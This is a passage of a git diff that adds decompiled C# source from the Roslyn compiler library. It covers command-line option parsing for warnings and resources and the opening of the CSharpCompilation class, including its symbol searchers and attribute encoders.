(win32ManifestFile != null) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_CantHaveWin32ResAndManifest); + } + } + if (EnumBounds.IsNetModule(outputKind) && win32ManifestFile != null) + { + AddDiagnostic(diagnostics, ErrorCode.WRN_CantHaveManifestForModule); + } + } + + private static IEnumerable ParseInstrumentationKinds(string value, IList diagnostics) + { + string[] array = value.Split(new char[1] { ',' }, StringSplitOptions.RemoveEmptyEntries); + string[] array2 = array; + foreach (string text in array2) + { + if (text.ToLower() == "testcoverage") + { + yield return (InstrumentationKind)1; + continue; + } + AddDiagnostic(diagnostics, ErrorCode.ERR_InvalidInstrumentationKind, text); + } + } + + internal static ResourceDescription? ParseResourceDescription(string arg, string resourceDescriptor, string? baseDirectory, IList diagnostics, bool embedded) + { + return ParseResourceDescription(arg, resourceDescriptor.AsMemory(), baseDirectory, diagnostics, embedded); + } + + internal static ResourceDescription? ParseResourceDescription(string arg, ReadOnlyMemory resourceDescriptor, string? baseDirectory, IList diagnostics, bool embedded) + { + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Expected O, but got Unknown + string text = default(string); + string fullPath = default(string); + string text2 = default(string); + string text3 = default(string); + string text4 = default(string); + CommandLineParser.ParseResourceDescription(resourceDescriptor, baseDirectory, false, ref text, ref fullPath, ref text2, ref text3, ref text4); + bool flag; + if (text4 == null) + { + flag = true; + } + else if (string.Equals(text4, "public", StringComparison.OrdinalIgnoreCase)) + { + flag = true; + } + else + { + if (!string.Equals(text4, "private", StringComparison.OrdinalIgnoreCase)) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_BadResourceVis, text4); + return null; + } + flag = false; + } + if (RoslynString.IsNullOrWhiteSpace(text)) + { + AddDiagnostic(diagnostics, ErrorCode.ERR_NoFileSpec, arg); + return null; + } + if (!PathUtilities.IsValidFilePath(fullPath)) + { + AddDiagnostic(diagnostics, ErrorCode.FTL_InvalidInputFileName, text); + return null; + } + Func func = () => new FileStream(fullPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); + return new ResourceDescription(text3, text2, func, flag, embedded, false); + } + + private static void ParseWarnings(ReadOnlyMemory value, ArrayBuilder ids) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + value = MemoryExtensions.Unquote(value); + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + ReadOnlySpan other = "nullable".AsSpan(); + CommandLineParser.ParseSeparatedStrings((ReadOnlyMemory?)value, s_warningSeparators, true, instance); + Enumerator> enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + ReadOnlyMemory current = enumerator.Current; + if (current.Span.Equals(other, StringComparison.OrdinalIgnoreCase)) + { + foreach (string nullableWarning in ErrorFacts.NullableWarnings) + { + ids.Add(nullableWarning); + } + ids.Add(((CommonMessageProvider)MessageProvider.Instance).GetIdForErrorCode(8632)); + ids.Add(((CommonMessageProvider)MessageProvider.Instance).GetIdForErrorCode(8669)); + } + else + { + string text = current.ToString(); + if (ushort.TryParse(text, NumberStyles.Integer, CultureInfo.InvariantCulture, out var result) && ErrorFacts.IsWarning((ErrorCode)result)) + { + ids.Add(((CommonMessageProvider)MessageProvider.Instance).GetIdForErrorCode((int)result)); + } + else + { + ids.Add(text); + } + } + } + instance.Free(); + } + + private static void AddWarnings(Dictionary d, ReportDiagnostic kind, ReadOnlyMemory warningArgument) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ParseWarnings(warningArgument, instance); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + if (d.TryGetValue(current, out var value)) + { + if ((int)value != 5) + { + d[current] = kind; + } + } + else + { + d.Add(current, kind); + } + } + instance.Free(); + } + + private static void UnimplementedSwitch(IList diagnostics, string switchName) + { + AddDiagnostic(diagnostics, ErrorCode.WRN_UnimplementedCommandLineSwitch, "/" + switchName); + } + + internal override void GenerateErrorForNoFilesFoundInRecurse(string path, IList diagnostics) + { + } + + private static void AddDiagnostic(IList diagnostics, ErrorCode errorCode) + { + diagnostics.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, (int)errorCode)); + } + + private static void AddDiagnostic(IList diagnostics, ErrorCode errorCode, params object[] arguments) + { + diagnostics.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, (int)errorCode, arguments)); + } + + private static void AddDiagnostic(IList diagnostics, Dictionary warningOptions, ErrorCode errorCode, params object[] arguments) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + warningOptions.TryGetValue(((CommonMessageProvider)MessageProvider.Instance).GetIdForErrorCode((int)errorCode), out var value); + if ((int)value != 5) + { + AddDiagnostic(diagnostics, errorCode, arguments); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompilation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompilation.cs new file mode 100644 index 0000000..663aafa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompilation.cs @@ -0,0 +1,5856 @@ +using System; +using System.Collections; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Reflection.Metadata; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Operations; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.RuntimeMembers; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public sealed class CSharpCompilation : Compilation +{ + internal class EntryPoint + { + public readonly Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol? MethodSymbol; + + public readonly ImmutableBindingDiagnostic Diagnostics; + + public static readonly EntryPoint None = new EntryPoint(null, ImmutableBindingDiagnostic.Empty); + + public EntryPoint(Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol? methodSymbol, ImmutableBindingDiagnostic diagnostics) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol = methodSymbol; + Diagnostics = diagnostics; + } + } + + private readonly struct ImportInfo(SyntaxTree tree, SyntaxKind kind, TextSpan span) : IEquatable + { + public readonly SyntaxTree Tree = tree; + + public readonly SyntaxKind Kind = kind; + + public readonly TextSpan Span = span; + + public override bool Equals(object? obj) + { + if (obj is ImportInfo) + { + return Equals((ImportInfo)obj); + } + return false; + } + + public bool Equals(ImportInfo other) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (other.Kind == Kind && other.Tree == Tree) + { + return other.Span == Span; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Tree, ((TextSpan)(ref Span)).Start); + } + } + + private class DuplicateFilePathsVisitor : CSharpSymbolVisitor + { + private readonly PooledHashSet _duplicatePaths = PooledHashSet.GetInstance(); + + private readonly DiagnosticBag _diagnostics; + + private bool _hasDuplicateFilePaths; + + public DuplicateFilePathsVisitor(DiagnosticBag diagnostics) + { + _diagnostics = diagnostics; + } + + public bool CheckDuplicateFilePathsAndFree(ImmutableArray syntaxTrees, Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol globalNamespace) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator = syntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree current = enumerator.Current; + if (!((HashSet)(object)instance).Add(current.FilePath)) + { + ((HashSet)(object)_duplicatePaths).Add(current.FilePath); + } + } + instance.Free(); + if (((IEnumerable)_duplicatePaths).Any()) + { + VisitNamespace(globalNamespace); + } + _duplicatePaths.Free(); + return _hasDuplicateFilePaths; + } + + public override void VisitNamespace(Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol symbol) + { + ImmutableArray.Enumerator enumerator = symbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (!(current is Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol symbol2)) + { + if (current is Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol symbol3) + { + VisitNamedType(symbol3); + } + } + else + { + VisitNamespace(symbol2); + } + } + } + + public override void VisitNamedType(Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol symbol) + { + if (symbol.IsFileLocal) + { + Location firstLocation = symbol.GetFirstLocation(); + SyntaxTree sourceTree = firstLocation.SourceTree; + string text = ((sourceTree != null) ? sourceTree.FilePath : null); + if (((HashSet)(object)_duplicatePaths).Contains(text)) + { + _diagnostics.Add(ErrorCode.ERR_FileTypeNonUniquePath, firstLocation, symbol, text); + _hasDuplicateFilePaths = true; + } + } + } + } + + private abstract class AbstractSymbolSearcher + { + private readonly PooledDictionary _cache; + + private readonly CSharpCompilation _compilation; + + private readonly bool _includeNamespace; + + private readonly bool _includeType; + + private readonly bool _includeMember; + + private readonly CancellationToken _cancellationToken; + + protected AbstractSymbolSearcher(CSharpCompilation compilation, SymbolFilter filter, CancellationToken cancellationToken) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Invalid comparison between Unknown and I4 + _cache = PooledDictionary.GetInstance(); + _compilation = compilation; + _includeNamespace = (filter & 1) == 1; + _includeType = (filter & 2) == 2; + _includeMember = (filter & 4) == 4; + _cancellationToken = cancellationToken; + } + + protected abstract bool Matches(string name); + + protected abstract bool ShouldCheckTypeForMembers(MergedTypeDeclaration current); + + public IEnumerable GetSymbolsWithName() + { + HashSet hashSet = new HashSet(); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + AppendSymbolsWithName(instance, _compilation.MergedRootDeclaration, hashSet); + instance.Free(); + _cache.Free(); + return hashSet; + } + + private void AppendSymbolsWithName(ArrayBuilder spine, MergedNamespaceOrTypeDeclaration current, HashSet set) + { + if (current.Kind == DeclarationKind.Namespace) + { + if (_includeNamespace && Matches(current.Name)) + { + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol spineSymbol = GetSpineSymbol(spine); + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol symbol = GetSymbol(spineSymbol, current); + if (symbol != null) + { + set.Add(symbol); + } + } + } + else + { + if (_includeType && Matches(current.Name)) + { + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol spineSymbol2 = GetSpineSymbol(spine); + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol symbol2 = GetSymbol(spineSymbol2, current); + if (symbol2 != null) + { + set.Add(symbol2); + } + } + if (_includeMember) + { + MergedTypeDeclaration current2 = (MergedTypeDeclaration)current; + if (ShouldCheckTypeForMembers(current2)) + { + AppendMemberSymbolsWithName(spine, current2, set); + } + } + } + spine.Add(current); + ImmutableArray.Enumerator enumerator = current.Children.GetEnumerator(); + while (enumerator.MoveNext()) + { + Declaration current3 = enumerator.Current; + if (current3 is MergedNamespaceOrTypeDeclaration current4 && (_includeMember || _includeType || current3.Kind == DeclarationKind.Namespace)) + { + AppendSymbolsWithName(spine, current4, set); + } + } + spine.RemoveAt(spine.Count - 1); + } + + private void AppendMemberSymbolsWithName(ArrayBuilder spine, MergedTypeDeclaration current, HashSet set) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + spine.Add((MergedNamespaceOrTypeDeclaration)current); + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol spineSymbol = GetSpineSymbol(spine); + if (spineSymbol != null) + { + ImmutableArray.Enumerator enumerator = spineSymbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current2 = enumerator.Current; + if (!current2.IsTypeOrTypeAlias() && (current2.CanBeReferencedByName || current2.IsExplicitInterfaceImplementation() || current2.IsIndexer()) && Matches(current2.Name)) + { + set.Add(current2); + } + } + } + spine.RemoveAt(spine.Count - 1); + } + + protected Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol? GetSpineSymbol(ArrayBuilder spine) + { + if (spine.Count == 0) + { + return null; + } + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol cachedSymbol = GetCachedSymbol(spine[spine.Count - 1]); + if (cachedSymbol != null) + { + return cachedSymbol; + } + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol namespaceOrTypeSymbol = _compilation.GlobalNamespace; + for (int i = 1; i < spine.Count; i++) + { + namespaceOrTypeSymbol = GetSymbol(namespaceOrTypeSymbol, spine[i]); + } + return namespaceOrTypeSymbol; + } + + private Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol? GetCachedSymbol(MergedNamespaceOrTypeDeclaration declaration) + { + if (!((Dictionary)(object)_cache).TryGetValue((Declaration)declaration, out Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol value)) + { + return null; + } + return value; + } + + private Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol? GetSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol? container, MergedNamespaceOrTypeDeclaration declaration) + { + if (container == null) + { + return _compilation.GlobalNamespace; + } + if (declaration.Kind == DeclarationKind.Namespace) + { + AddCache(container.GetMembers(declaration.Name).OfType()); + } + else + { + AddCache(container.GetTypeMembers(declaration.Name)); + } + return GetCachedSymbol(declaration); + } + + private void AddCache(IEnumerable symbols) + { + foreach (Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol symbol in symbols) + { + MergedNamespaceSymbol mergedNamespaceSymbol = symbol as MergedNamespaceSymbol; + if (mergedNamespaceSymbol != null) + { + ((Dictionary)(object)_cache)[(Declaration)mergedNamespaceSymbol.ConstituentNamespaces.OfType().First().MergedDeclaration] = symbol; + continue; + } + SourceNamespaceSymbol sourceNamespaceSymbol = symbol as SourceNamespaceSymbol; + if (sourceNamespaceSymbol != null) + { + ((Dictionary)(object)_cache)[(Declaration)sourceNamespaceSymbol.MergedDeclaration] = sourceNamespaceSymbol; + } + else if (symbol is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol) + { + ((Dictionary)(object)_cache)[(Declaration)sourceMemberContainerTypeSymbol.MergedDeclaration] = sourceMemberContainerTypeSymbol; + } + } + } + } + + private class PredicateSymbolSearcher : AbstractSymbolSearcher + { + private readonly Func _predicate; + + public PredicateSymbolSearcher(CSharpCompilation compilation, SymbolFilter filter, Func predicate, CancellationToken cancellationToken) + : base(compilation, filter, cancellationToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _predicate = predicate; + } + + protected override bool ShouldCheckTypeForMembers(MergedTypeDeclaration current) + { + return true; + } + + protected override bool Matches(string name) + { + return _predicate(name); + } + } + + private class NameSymbolSearcher : AbstractSymbolSearcher + { + private readonly string _name; + + public NameSymbolSearcher(CSharpCompilation compilation, SymbolFilter filter, string name, CancellationToken cancellationToken) + : base(compilation, filter, cancellationToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _name = name; + } + + protected override bool ShouldCheckTypeForMembers(MergedTypeDeclaration current) + { + ImmutableArray.Enumerator enumerator = current.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.MemberNames.Value.Contains(_name)) + { + return true; + } + } + return false; + } + + protected override bool Matches(string name) + { + return _name == name; + } + } + + private class UsingsFromOptionsAndDiagnostics + { + public static readonly UsingsFromOptionsAndDiagnostics Empty = new UsingsFromOptionsAndDiagnostics + { + UsingNamespacesOrTypes = ImmutableArray.Empty, + Diagnostics = null + }; + + private SymbolCompletionState _state; + + public ImmutableArray UsingNamespacesOrTypes { get; init; } + + public DiagnosticBag? Diagnostics { get; init; } + + public static UsingsFromOptionsAndDiagnostics FromOptions(CSharpCompilation compilation) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + ImmutableArray usings = compilation.Options.Usings; + if (usings.Length == 0) + { + return Empty; + } + DiagnosticBag val = new DiagnosticBag(); + InContainerBinder inContainerBinder = new InContainerBinder(compilation.GlobalNamespace, new BuckStopsHereBinder(compilation, null)); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator = usings.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + if (StringExtensions.IsValidClrNamespaceName(current)) + { + string[] array = current.Split(new char[1] { '.' }); + NameSyntax nameSyntax = SyntaxFactory.IdentifierName(array[0]); + for (int i = 1; i < array.Length; i++) + { + nameSyntax = SyntaxFactory.QualifiedName(nameSyntax, SyntaxFactory.IdentifierName(array[i])); + } + BindingDiagnosticBag instance3 = BindingDiagnosticBag.GetInstance(); + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol namespaceOrTypeSymbol = inContainerBinder.BindNamespaceOrTypeSymbol(nameSyntax, instance3).NamespaceOrTypeSymbol; + if (((HashSet)(object)instance2).Add(namespaceOrTypeSymbol)) + { + instance.Add(new NamespaceOrTypeAndUsingDirective(namespaceOrTypeSymbol, null, ((BindingDiagnosticBag)(object)instance3).DependenciesBag.ToImmutableArray())); + } + val.AddRange(((BindingDiagnosticBag)instance3).DiagnosticBag); + ((BindingDiagnosticBag)(object)instance3).Free(); + } + } + if (val.IsEmptyWithoutResolution) + { + val = null; + } + instance2.Free(); + if (instance.Count == 0 && val == null) + { + instance.Free(); + return Empty; + } + return new UsingsFromOptionsAndDiagnostics + { + UsingNamespacesOrTypes = instance.ToImmutableAndFree(), + Diagnostics = val + }; + } + + internal void Complete(CSharpCompilation compilation, CancellationToken cancellationToken) + { + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + CompletionPart nextIncompletePart = _state.NextIncompletePart; + switch (nextIncompletePart) + { + case CompletionPart.StartBaseType: + if (_state.NotePartComplete(CompletionPart.StartBaseType)) + { + Validate(compilation); + _state.NotePartComplete(CompletionPart.FinishBaseType); + } + break; + case CompletionPart.FinishBaseType: + _state.SpinWaitComplete(CompletionPart.FinishBaseType, cancellationToken); + break; + case CompletionPart.None: + return; + default: + _state.NotePartComplete(CompletionPart.MethodSymbolAll | CompletionPart.StartInterfaces | CompletionPart.FinishInterfaces | CompletionPart.EnumUnderlyingType | CompletionPart.TypeArguments | CompletionPart.FinishMemberChecks | CompletionPart.MembersCompletedChecksStarted | CompletionPart.MembersCompleted); + break; + } + _state.SpinWaitComplete(nextIncompletePart, cancellationToken); + } + } + + private void Validate(CSharpCompilation compilation) + { + if (this == Empty) + { + return; + } + DiagnosticBag declarationDiagnostics = compilation.DeclarationDiagnostics; + BindingDiagnosticBag diagnostics = BindingDiagnosticBag.GetInstance(); + TypeConversions typeConversions = compilation.SourceAssembly.CorLibrary.TypeConversions; + ImmutableArray.Enumerator enumerator = UsingNamespacesOrTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceOrTypeAndUsingDirective current = enumerator.Current; + ((BindingDiagnosticBag)(object)diagnostics).Clear(); + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies(current.Dependencies); + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol namespaceOrType = current.NamespaceOrType; + if (namespaceOrType.IsType) + { + ((Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol)namespaceOrType).CheckAllConstraints(location: NoLocation.Singleton, compilation: compilation, conversions: typeConversions, diagnostics: diagnostics); + } + declarationDiagnostics.AddRange(((BindingDiagnosticBag)diagnostics).DiagnosticBag); + recordImportDependencies(namespaceOrType); + } + if (Diagnostics != null && !Diagnostics.IsEmptyWithoutResolution) + { + declarationDiagnostics.AddRange(Diagnostics.AsEnumerable()); + } + ((BindingDiagnosticBag)(object)diagnostics).Free(); + void recordImportDependencies(Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol target) + { + if (target.IsNamespace) + { + diagnostics.AddAssembliesUsedByNamespaceReference((Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol)target); + } + compilation.AddUsedAssemblies(((BindingDiagnosticBag)(object)diagnostics).DependenciesBag); + } + } + } + + internal static class TupleNamesEncoder + { + public static ImmutableArray Encode(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (!TryGetNames(type, instance)) + { + instance.Free(); + return default(ImmutableArray); + } + return instance.ToImmutableAndFree(); + } + + public static ImmutableArray Encode(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol stringType) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (!TryGetNames(type, instance)) + { + instance.Free(); + return default(ImmutableArray); + } + ImmutableArray result = ArrayBuilderExtensions.SelectAsArray(instance, (Func)((string name, Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol constantType) => new TypedConstant((ITypeSymbolInternal)(object)constantType, (TypedConstantKind)1, (object)name)), stringType); + instance.Free(); + return result; + } + + internal static bool TryGetNames(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, ArrayBuilder namesBuilder) + { + type.VisitType((Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol t, ArrayBuilder builder, bool _ignore) => AddNames(t, builder), namesBuilder); + return ArrayBuilderExtensions.Any(namesBuilder, (Func)((string name) => name != null)); + } + + private static bool AddNames(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, ArrayBuilder namesBuilder) + { + if (type.IsTupleType) + { + if (type.TupleElementNames.IsDefaultOrEmpty) + { + namesBuilder.AddMany((string)null, type.TupleElementTypesWithAnnotations.Length); + } + else + { + namesBuilder.AddRange(type.TupleElementNames); + } + } + return false; + } + } + + internal static class DynamicTransformsEncoder + { + internal static ImmutableArray Encode(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, RefKind refKind, int customModifiersCount, Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol booleanType) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Encode(type, customModifiersCount, refKind, instance, addCustomModifierFlags: true); + ImmutableArray result = ArrayBuilderExtensions.SelectAsArray(instance, (Func)((bool flag, Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol constantType) => new TypedConstant((ITypeSymbolInternal)(object)constantType, (TypedConstantKind)1, (object)flag)), booleanType); + instance.Free(); + return result; + } + + internal static ImmutableArray Encode(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, RefKind refKind, int customModifiersCount) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Encode(type, customModifiersCount, refKind, instance, addCustomModifierFlags: true); + return instance.ToImmutableAndFree(); + } + + internal static ImmutableArray EncodeWithoutCustomModifierFlags(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, RefKind refKind) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Encode(type, -1, refKind, instance, addCustomModifierFlags: false); + return instance.ToImmutableAndFree(); + } + + internal static void Encode(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, int customModifiersCount, RefKind refKind, ArrayBuilder transformFlagsBuilder, bool addCustomModifierFlags) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if ((int)refKind != 0) + { + transformFlagsBuilder.Add(false); + } + if (addCustomModifierFlags) + { + HandleCustomModifiers(customModifiersCount, transformFlagsBuilder); + type.VisitType((Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol, ArrayBuilder builder, bool isNested) => AddFlags(typeSymbol, builder, isNested, addCustomModifierFlags: true), transformFlagsBuilder); + } + else + { + type.VisitType((Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol, ArrayBuilder builder, bool isNested) => AddFlags(typeSymbol, builder, isNested, addCustomModifierFlags: false), transformFlagsBuilder); + } + } + + private static bool AddFlags(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, ArrayBuilder transformFlagsBuilder, bool isNestedNamedType, bool addCustomModifierFlags) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + TypeKind typeKind = type.TypeKind; + if ((int)typeKind <= 4) + { + if ((int)typeKind != 1) + { + if ((int)typeKind != 4) + { + goto IL_0093; + } + transformFlagsBuilder.Add(true); + } + else + { + if (addCustomModifierFlags) + { + HandleCustomModifiers(((Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol)type).ElementTypeWithAnnotations.CustomModifiers.Length, transformFlagsBuilder); + } + transformFlagsBuilder.Add(false); + } + } + else + { + if ((int)typeKind != 9) + { + if ((int)typeKind != 13) + { + goto IL_0093; + } + handleFunctionPointerType((Microsoft.CodeAnalysis.CSharp.Symbols.FunctionPointerTypeSymbol)type, transformFlagsBuilder, addCustomModifierFlags); + return true; + } + if (addCustomModifierFlags) + { + HandleCustomModifiers(((Microsoft.CodeAnalysis.CSharp.Symbols.PointerTypeSymbol)type).PointedAtTypeWithAnnotations.CustomModifiers.Length, transformFlagsBuilder); + } + transformFlagsBuilder.Add(false); + } + goto IL_009d; + IL_0093: + if (!isNestedNamedType) + { + transformFlagsBuilder.Add(false); + } + goto IL_009d; + IL_009d: + return false; + static void handleFunctionPointerType(Microsoft.CodeAnalysis.CSharp.Symbols.FunctionPointerTypeSymbol funcPtr, ArrayBuilder val, bool flag) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + Func, bool), bool, bool> visitor = (Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type2, (ArrayBuilder builder, bool addCustomModifierFlags) param, bool isNestedNamedType2) => AddFlags(type2, param.builder, isNestedNamedType2, param.addCustomModifierFlags); + val.Add(false); + FunctionPointerMethodSymbol signature = funcPtr.Signature; + handle(signature.RefKind, signature.RefCustomModifiers, signature.ReturnTypeWithAnnotations); + ImmutableArray.Enumerator enumerator = signature.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol current = enumerator.Current; + handle(current.RefKind, current.RefCustomModifiers, current.TypeWithAnnotations); + } + void handle(RefKind refKind, ImmutableArray customModifiers, TypeWithAnnotations twa) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if (flag) + { + HandleCustomModifiers(customModifiers.Length, val); + } + if ((int)refKind != 0) + { + val.Add(false); + } + if (flag) + { + HandleCustomModifiers(twa.CustomModifiers.Length, val); + } + twa.Type.VisitType(visitor, (val, flag)); + } + } + } + + private static void HandleCustomModifiers(int customModifiersCount, ArrayBuilder transformFlagsBuilder) + { + transformFlagsBuilder.AddMany(false, customModifiersCount); + } + } + + internal static class NativeIntegerTransformsEncoder + { + internal static void Encode(ArrayBuilder builder, Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type) + { + type.VisitType((Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol, ArrayBuilder builder2, bool isNested) => AddFlags(typeSymbol, builder2), builder); + } + + private static bool AddFlags(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, ArrayBuilder builder) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or 